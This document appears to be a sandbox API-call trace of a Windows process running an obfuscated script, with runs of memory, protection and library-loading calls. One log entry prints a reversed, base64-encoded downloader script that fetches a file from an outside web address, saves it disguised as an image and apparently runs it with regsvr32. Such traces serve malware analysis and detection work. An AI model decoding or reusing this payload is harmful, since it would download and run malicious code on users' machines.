[0198.931] wcscpy_s (in: _Destination=0x735c080, _SizeInWords=0xf, _Source="karolDoorKarol" | out: _Destination="karolDoorKarol") returned 0x0
[0198.932] wcscpy_s (in: _Destination=0x735c0a0, _SizeInWords=0xc, _Source="dowLoadDoor" | out: _Destination="dowLoadDoor") returned 0x0
[0198.932] wcscpy_s (in: _Destination=0x735c0c0, _SizeInWords=0xe, _Source="loadKarolLike" | out: _Destination="loadKarolLike") returned 0x0
[0198.932] wcscpy_s (in: _Destination=0x735c0e0, _SizeInWords=0xd, _Source="loadTubeNext" | out: _Destination="loadTubeNext") returned 0x0
[0198.933] wcscpy_s (in: _Destination=0x735c100, _SizeInWords=0xd, _Source="loadLoadGirl" | out: _Destination="loadLoadGirl") returned 0x0
[0198.933] malloc (_Size=0x90) returned 0x63214d0
[0198.933] malloc (_Size=0x30) returned 0x631e298
[0198.933] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x7580000
[0198.934] malloc (_Size=0x404) returned 0x6321568
[0198.934] malloc (_Size=0x84) returned 0x6321978
[0198.934] malloc (_Size=0xc) returned 0x6320320
[0198.935] malloc (_Size=0xc) returned 0x6320338
[0198.935] malloc (_Size=0x10) returned 0x6320350
[0198.935] malloc (_Size=0x30) returned 0x6321a08
[0198.935] malloc (_Size=0xc) returned 0x6320368
[0198.935] malloc (_Size=0xc) returned 0x6321a40
[0198.935] malloc (_Size=0x10) returned 0x6321a58
[0198.935] malloc (_Size=0x30) returned 0x6321a70
[0198.935] malloc (_Size=0xc) returned 0x6321aa8
[0198.935] malloc (_Size=0xc) returned 0x6321ac0
[0198.935] malloc (_Size=0x10) returned 0x6321ad8
[0198.936] malloc (_Size=0x30) returned 0x6321af0
[0198.936] malloc (_Size=0xc) returned 0x6321b28
[0198.936] malloc (_Size=0xc) returned 0x6321b68
[0198.936] malloc (_Size=0x10) returned 0x6321c10
[0198.936] malloc (_Size=0x28) returned 0x6321d48
[0198.936] free (_Block=0x6321c10)
[0198.937] malloc (_Size=0x58) returned 0x6321d78
[0198.937] free (_Block=0x6321d48)
[0198.938] malloc (_Size=0x7c) returned 0x630aab8
[0198.938] malloc (_Size=0x30) returned 0x6321dd8
[0198.938] malloc (_Size=0xc) returned 0x6321c58
[0198.938] malloc (_Size=0xc) returned 0x6321b80
[0198.938] malloc (_Size=0x10) returned 0x6321c10
[0198.939] malloc (_Size=0x30) returned 0x6321e10
[0198.939] malloc (_Size=0xc) returned 0x6321d18
[0198.939] malloc (_Size=0xc) returned 0x6321d30
[0198.939] malloc (_Size=0x10) returned 0x6321b98
[0198.939] malloc (_Size=0x30) returned 0x6321e48
[0198.939] malloc (_Size=0xc) returned 0x6321bb0
[0198.939] malloc (_Size=0xc) returned 0x6321be0
[0198.939] malloc (_Size=0x10) returned 0x6321bc8
[0198.939] malloc (_Size=0x30) returned 0x6321e80
[0198.939] malloc (_Size=0xc) returned 0x6321bf8
[0198.939] malloc (_Size=0xc) returned 0x6321c28
[0198.939] malloc (_Size=0x10) returned 0x6321c40
[0198.944] malloc (_Size=0x28) returned 0x6321d48
[0198.944] free (_Block=0x6321c40)
[0198.944] malloc (_Size=0xa8) returned 0x6321eb8
[0198.944] malloc (_Size=0x80) returned 0x630aef8
[0198.944] malloc (_Size=0xac) returned 0x6321f68
[0198.945] malloc (_Size=0x30) returned 0x6322020
[0198.945] free (_Block=0x6320380)
[0198.945] free (_Block=0x631f9c8)
[0198.945] free (_Block=0x631f790)
[0198.945] malloc (_Size=0x20) returned 0x631f790
[0198.946] malloc (_Size=0xc) returned 0x6321c40
[0198.946] free (_Block=0x631e340)
[0198.946] malloc (_Size=0x18) returned 0x631f7b8
[0198.946] malloc (_Size=0xc) returned 0x6321c70
[0198.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x744b55cc, dwHighDateTime=0x1d7e6dd))
[0198.946] GetTickCount () returned 0x1ca3a0d
[0198.946] GetCurrentThreadId () returned 0x7a0
[0198.947] GetTickCount () returned 0x1ca3a0d
[0198.947] malloc (_Size=0x88) returned 0x631f7d8
[0198.947] malloc (_Size=0x30) returned 0x631fa18
[0198.947] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x75a0000
[0198.955] VirtualQuery (in: lpAddress=0x75a0000, lpBuffer=0x19f428, dwLength=0x1c | out: lpBuffer=0x19f428*(BaseAddress=0x75a0000, AllocationBase=0x75a0000, AllocationProtect=0x4, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0198.955] VirtualProtect (in: lpAddress=0x75a0000, dwSize=0x1000, flNewProtect=0x10, lpflOldProtect=0x19f444 | out: lpflOldProtect=0x19f444*=0x4) returned 1
[0198.966] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x75a0000, dwSize=0x1000) returned 1
[0198.966] malloc (_Size=0x74) returned 0x631fc70
[0198.968] malloc (_Size=0xc) returned 0x6321c88
[0198.968] GetTickCount () returned 0x1ca3a1d
[0198.968] GetCurrentThreadId () returned 0x7a0
[0198.968] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0198.968] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.002] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.002] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.003] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.004] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.004] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.004] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.004] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.004] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.005] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.005] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.008] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.008] IsCharSpaceW (wch=0x6c) returned 0
[0199.008] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.008] IsCharSpaceW (wch=0x6c) returned 0
[0199.009] GetTickCount () returned 0x1ca3a4c
[0199.009] GetCurrentThreadId () returned 0x7a0
[0199.009] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.009] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.009] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.010] malloc (_Size=0x78) returned 0x631fcf0
[0199.010] rand_s (in: _RandomValue=0x19ecac | out: _RandomValue=0x19ecac) returned 0x0
[0199.010] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x203000, flProtect=0x4) returned 0x75c0000
[0199.011] malloc (_Size=0x8c) returned 0x631fd70
[0199.011] malloc (_Size=0x2600) returned 0x6322058
[0199.012] malloc (_Size=0x28) returned 0x631fe08
[0199.012] GetCurrentThreadId () returned 0x7a0
[0199.012] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.013] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.013] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.014] GetCurrentThreadId () returned 0x7a0
[0199.014] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.014] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.014] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.014] IsCharSpaceW (wch=0x6c) returned 0
[0199.014] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.014] IsCharSpaceW (wch=0x6c) returned 0
[0199.014] free (_Block=0x0)
[0199.014] GetCurrentThreadId () returned 0x7a0
[0199.014] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.015] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.015] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.067] IsWindowVisible (hWnd=0x40264) returned 0
[0199.067] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.068] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.068] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.068] IsCharSpaceW (wch=0x67) returned 0
[0199.068] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.071] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.071] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.071] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.072] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.072] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.072] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.072] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6f8870
[0199.073] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.073] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.073] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.074] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.074] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.074] memcpy_s (in: _Destination=0x64183c0, _DestinationSize=0xb8, _Source=0x19e380, _SourceSize=0xb8 | out: _Destination=0x64183c0) returned 0x0
[0199.075] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.082] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.082] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.082] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x715230
[0199.082] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x715a38
[0199.082] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d48a0
[0199.082] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d48d0
[0199.083] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.087] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x715a38, Size=0x800) returned 0x715a38
[0199.088] memcpy_s (in: _Destination=0x715a38, _DestinationSize=0x800, _Source=0x715230, _SourceSize=0x7fe | out: _Destination=0x715a38) returned 0x0
[0199.088] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x806) returned 0x716240
[0199.088] memcpy_s (in: _Destination=0x716248, _DestinationSize=0x7fe, _Source=0x715a38, _SourceSize=0x7fe | out: _Destination=0x716248) returned 0x0
[0199.088] memcpy_s (in: _Destination=0x715a38, _DestinationSize=0x800, _Source=0x715230, _SourceSize=0x10 | out: _Destination=0x715a38) returned 0x0
[0199.088] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x1a) returned 0x6c6730
[0199.088] memcpy_s (in: _Destination=0x6c6738, _DestinationSize=0x12, _Source=0x715a38, _SourceSize=0x12 | out: _Destination=0x6c6738) returned 0x0
[0199.088] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.089] GetProcAddress (hModule=0x76150000, lpProcName=0x4) returned 0x76169c00
[0199.089] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19e40c | out: lpflOldProtect=0x19e40c*=0x4) returned 1
[0199.089] memcpy_s (in: _Destination=0x716a54, _DestinationSize=0x810, _Source=0x716248, _SourceSize=0x7fe | out: _Destination=0x716a54) returned 0x0
[0199.089] memcpy_s (in: _Destination=0x717252, _DestinationSize=0x12, _Source=0x6c6738, _SourceSize=0x12 | out: _Destination=0x717252) returned 0x0
[0199.089] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48d0 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48a0 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x716240 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6c6730 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8870 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x715230 | out: hHeap=0x6b0000) returned 1
[0199.090] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x715a38 | out: hHeap=0x6b0000) returned 1
[0199.090] SysStringLen (param_1="=YXYyBCZvdXWvVHI9AibldHIBNGdpZXZY9kYqV2Y0hiItNHetxmMugXbshGd0BnIpsDZvdXWvVnLvBXZuhiIHVEViwCIigGd0BnOv8ydp5mcl5Gdhx2cyATM3ImLj9WbvQXZnp3LRJzN3E2R3Y0aOlDcBNWYXRkZGx2ROJUZ1FWcHVGZ4k2LiF2VlhHVR92R5FUQ6xkUvEUVxgVRyJXVxYUa0pmaWhjQCFWU1VWb2UzctFFWZZXek9iN0AjNz8yZ2YmSZx0RIJlVXB3NzFDd2hkbaRmdvg1YqNWWDpmQYhDdQFWQMNHapRUQ4hTNQVUcvMWYiNzPyVmZ9ADdmclePpVP5gXeBlGZOZiezQWOPJGM9U0dBV1aVVlT5h0crZSdzVmc9QjWrlHO54mJjlGZ9IWR1klQPZUeaZ3VIJ2R2lzdQJ3NRZVbmEXPsl1anplTHl1baBXd5ICLgYWYsNXZpsDZvdXWvVnLzVmbkhSK7kmZoQ2b3l1b15yc0FGd1NHI90DIyADMpsHdyl3e2FmcgcWayxGTvZXZg0DIuV2dgE0Y0lmdlh1TipWZjRHKiEGZvRmYuMHdyVWYtJSK7cWayxGTvZXZu8Gcl52Onlmcsx0b2VmL0lHclBSPgEzOnlmcsx0b2VmL3JXa0VGKk92dZ9WduIXZzB3buNXZi9GZ5lyOnlmcsx0b2VmLzFmdlR3bmlGblhiIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZiwCIykyOnlmcsx0b2VmLjx2bzV2O9NWY0NGaoUWK71Xf|||==gdhJHIs9mdlxUarVGI9AibldHIBNGdpZXZY9kYqV2Y0hiI3N3YylGc05ycoVGbsJSK7YXYyByahJ3bsR0b3B1b3BSPg4WZ3BSQjRXa2VGWPJmalNGdoIycjJXawRXaudmLmlGblNXezRXZt9mYqV2Y0JSK7w2b2VGTptWZuIXduhiIyV2ZzZnczIDIjpDXcV3clJ3ccxFc1JGbpNGXcR2b35UZ4RnLqB3ZikyO") returned 0x407
[0199.090] malloc (_Size=0x84) returned 0x631fe38
[0199.091] malloc (_Size=0x94) returned 0x631fec8
[0199.091] malloc (_Size=0x8c) returned 0x631ff68
[0199.091] malloc (_Size=0xf8) returned 0x6320000
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] IsCharSpaceW (wch=0x67) returned 0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.094] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.095] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.095] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.095] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6f8850
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x717278
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x717a80
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d48e0
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d48d0
[0199.095] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.095] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8c) returned 0x701b20
[0199.096] memcpy_s (in: _Destination=0x701b28, _DestinationSize=0x84, _Source=0x717a80, _SourceSize=0x84 | out: _Destination=0x701b28) returned 0x0
[0199.096] memcpy_s (in: _Destination=0x717b8c, _DestinationSize=0x84, _Source=0x701b28, _SourceSize=0x84 | out: _Destination=0x717b8c) returned 0x0
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48d0 | out: hHeap=0x6b0000) returned 1
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48e0 | out: hHeap=0x6b0000) returned 1
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x701b20 | out: hHeap=0x6b0000) returned 1
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8850 | out: hHeap=0x6b0000) returned 1
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717278 | out: hHeap=0x6b0000) returned 1
[0199.096] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717a80 | out: hHeap=0x6b0000) returned 1
[0199.096] SysStringLen (param_1="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") returned 0x41
[0199.096] malloc (_Size=0x90) returned 0x6320100
[0199.097] malloc (_Size=0xd0) returned 0x6320380
[0199.097] malloc (_Size=0xd0) returned 0x6320458
[0199.097] malloc (_Size=0x80) returned 0x630a568
[0199.097] malloc (_Size=0x38) returned 0x6320198
[0199.097] malloc (_Size=0x20) returned 0x6320530
[0199.097] malloc (_Size=0x20) returned 0x6320558
[0199.097] malloc (_Size=0xa8) returned 0x6320580
[0199.099] SetEvent (hEvent=0x398) returned 1
[0199.099] malloc (_Size=0xd0) returned 0x6320630
[0199.100] malloc (_Size=0xd0) returned 0x6320708
[0199.100] malloc (_Size=0x7c) returned 0x630af80
[0199.100] malloc (_Size=0xd0) returned 0x63207e0
[0199.103] malloc (_Size=0xd0) returned 0x63208b8
[0199.103] malloc (_Size=0xd0) returned 0x6320990
[0199.104] malloc (_Size=0x80) returned 0x630a678
[0199.104] malloc (_Size=0x7c) returned 0x630b008
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.104] IsCharSpaceW (wch=0x67) returned 0
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.104] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.105] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.105] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.105] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.105] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0
[0199.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6f8750
[0199.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x800) returned 0x717278
[0199.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100) returned 0x717a80
[0199.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6d4960
[0199.105] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x6d48e0
[0199.106] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.106] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8c) returned 0x701b20
[0199.106] memcpy_s (in: _Destination=0x701b28, _DestinationSize=0x84, _Source=0x717a80, _SourceSize=0x84 | out: _Destination=0x701b28) returned 0x0
[0199.106] memcpy_s (in: _Destination=0x717b8c, _DestinationSize=0x84, _Source=0x701b28, _SourceSize=0x84 | out: _Destination=0x717b8c) returned 0x0
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d48e0 | out: hHeap=0x6b0000) returned 1
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6d4960 | out: hHeap=0x6b0000) returned 1
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x701b20 | out: hHeap=0x6b0000) returned 1
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6f8750 | out: hHeap=0x6b0000) returned 1
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717278 | out: hHeap=0x6b0000) returned 1
[0199.106] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x717a80 | out: hHeap=0x6b0000) returned 1
[0199.106] SysStringLen (param_1="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=") returned 0x41
[0199.106] malloc (_Size=0x7c) returned 0x630acd8
[0199.106] malloc (_Size=0xd0) returned 0x6320a68
[0199.107] malloc (_Size=0xd0) returned 0x6320b40
[0199.107] malloc (_Size=0x80) returned 0x630ab40
[0199.107] malloc (_Size=0x80) returned 0x630aa30
[0199.107] GetCurrentThreadId () returned 0x7a0
[0199.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x7463e410, dwHighDateTime=0x1d7e6dd))
[0199.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f0 | out: lpSystemTimeAsFileTime=0x630d7f0*(dwLowDateTime=0x746d1f05, dwHighDateTime=0x1d7e6dd))
[0199.168] GetTickCount () returned 0x1ca3ae8
[0199.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x630d7f8 | out: lpSystemTimeAsFileTime=0x630d7f8*(dwLowDateTime=0x746d1f05, dwHighDateTime=0x1d7e6dd))
[0199.168] free (_Block=0x631f790)
[0199.168] free (_Block=0x631fe08)
[0199.168] GetTickCount () returned 0x1ca3ae8
[0199.168] GetTickCount () returned 0x1ca3ae8
[0199.168] GetCurrentThreadId () returned 0x7a0
[0199.168] GetCurrentThreadId () returned 0x7a0
[0199.169] GetCurrentThreadId () returned 0x7a0
[0199.169] GetCurrentThreadId () returned 0x7a0
[0199.169] GetCurrentThreadId () returned 0x7a0
[0199.169] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x7006b8 | out: hHeap=0x6b0000) returned 1
[0199.169] GetCurrentThreadId () returned 0x7a0
[0199.169] SetEvent (hEvent=0x29c) returned 1
[0199.170] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.170] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.171] GetProcAddress (hModule=0x75160000, lpProcName="RegisterDragDrop") returned 0x75186560
[0199.171] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fbac | out: lpflOldProtect=0x19fbac*=0x4) returned 1
[0199.172] RegisterDragDrop (hwnd=0x3029a, pDropTarget=0x6ee367cc) returned 0x0
[0199.377] QueryPerformanceCounter (in: lpPerformanceCount=0x19fb98 | out: lpPerformanceCount=0x19fb98*=3013411942723) returned 1
[0199.378] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.378] SetEvent (hEvent=0x304) returned 1
[0199.378] GetCurrentThreadId () returned 0x7a0
[0199.379] QueryPerformanceCounter (in: lpPerformanceCount=0x64209e0 | out: lpPerformanceCount=0x64209e0*=3013412169001) returned 1
[0199.379] GetCurrentThreadId () returned 0x7a0
[0199.379] GetCurrentThreadId () returned 0x7a0
[0199.379] GetCurrentThreadId () returned 0x7a0
[0199.382] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.382] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.382] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.382] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.383] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.388] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0199.388] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.389] LoadLibraryExA (lpLibFileName="msls31.dll", hFile=0x0, dwFlags=0x0) returned 0x65c40000
[0199.803] GetProcAddress (hModule=0x65c40000, lpProcName=0x3e) returned 0x65c51360
[0199.804] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0fc | out: lpflOldProtect=0x19f0fc*=0x4) returned 1
[0199.806] LsGetRubyLsimethods () returned 0x0
[0199.806] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.807] GetProcAddress (hModule=0x65c40000, lpProcName=0x3f) returned 0x65c45480
[0199.807] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0fc | out: lpflOldProtect=0x19f0fc*=0x4) returned 1
[0199.807] LsGetTatenakayokoLsimethods () returned 0x0
[0199.808] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.808] GetProcAddress (hModule=0x65c40000, lpProcName=0x42) returned 0x65c512b0
[0199.808] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0fc | out: lpflOldProtect=0x19f0fc*=0x4) returned 1
[0199.808] LsGetHihLsimethods () returned 0x0
[0199.808] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.809] GetProcAddress (hModule=0x65c40000, lpProcName=0x3d) returned 0x65c45650
[0199.809] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19f0fc | out: lpflOldProtect=0x19f0fc*=0x4) returned 1
[0199.809] LsGetWarichuLsimethods () returned 0x0
[0199.809] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0199.810] GetProcAddress (hModule=0x65c40000, lpProcName=0x47) returned 0x65c45530
